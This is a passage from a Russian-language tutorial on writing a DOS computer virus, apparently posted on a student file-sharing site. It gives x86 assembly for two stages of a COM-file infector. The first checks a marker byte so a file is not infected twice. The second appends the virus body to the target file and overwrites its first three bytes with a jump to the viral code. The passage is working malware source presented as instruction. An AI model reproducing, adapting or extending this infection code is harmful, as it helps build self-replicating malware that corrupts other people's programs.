Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
virur.doc
Скачиваний:
3
Добавлен:
17.08.2019
Размер:
1.01 Mб
Скачать

1.12 Проверяем файл на зараженность

Мы, кажется, слишком увлеклись работой и не заме-

тили одной очень важной детали.Ведь может случить-

ся, что найденный нами файл уже заражен предлагае-

мым вирусом, а мы об этом даже не догадываемся !

Поэтому наш вирус заразит эту программу еще раз .В

принципе,количество заражений ничем не ограничено.

Программа будет расти, пока не достигнет размера

более 65535 байт, а после этого перестанет рабо-

тать.Чтобы такого не произошло, введем проверку на

зараженность .Например, в конец каждого заражаемо-

го файла будем записывать цифру " 7 ", а при за-

ражении проверять ее наличие .

Итак :

mov ax,4200h ;Установим ука-

xor cx,cx ;затель на пос-

dec si ;ледний байт

mov dx,si ;файла ...

int 21h

jnc read_last

jmp close ;Ошибка !

read_last: ;И считаем этот

mov ah,3fh ;байт в ячейку

mov cx,1 ; " last " ...

lea dx,last

int 21h

jc close ;Ошибка !

cmp last,'7' ;" last " =" 7 "

jne write_vir ;Нет - дальше

jmp find_next ;Да- поищем дру-

;гой файл ...

Можно, конечно,провести более совершенную проверку

зараженности,нашей же целью было просто показать,

как защитить файлы от повторного заражения .Чита-

тель при желании сам легко внесет необходимые из-

менения в создаваемую программу .

1.13 Заражаем com - программу

Наконец, подходящий для заражения COM - файл най-

ден . Он еще не заражен нашим вирусом и имеет при-

емлемый размер . Поэтому самое время заняться за-

ражением .Этот процесс описан в 1.3 ( см. п.3 и

п.4 ) .Здесь мы только его реализуем :

write_vir: mov ax,4200h ;Установим ука-

xor cx,cx ;затель на конец

mov dx,di ;файла ...

int 21h

jc close ;При ошибке -

;закроем файл

mov ah,40h ;Запишем в файл

mov cx,vir_len ;код вируса дли-

lea dx,vir ;ной vir_len

int 21h

jc close ;При ошибке -

;закроем файл

write_bytes:

mov ax,4200h ;Установим ука-

xor cx,cx ;затель на нача-

xor dx,dx ;ло файла

int 21h

jc close ;При ошибке -

;закроем файл

mov ah,40h ;Запишем в файл

mov cx,3 ;первые три бай-

lea dx,new_bytes ;та ( команду

int 21h ;перехода ) ...

close: mov ah,3eh ;Закроем зара-

int 21h ;женный файл ...

При записи первых трех байт в файл помещается ко-

манда перехода на код вируса. Все остальное можно

понять из приведенных комментариев .

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]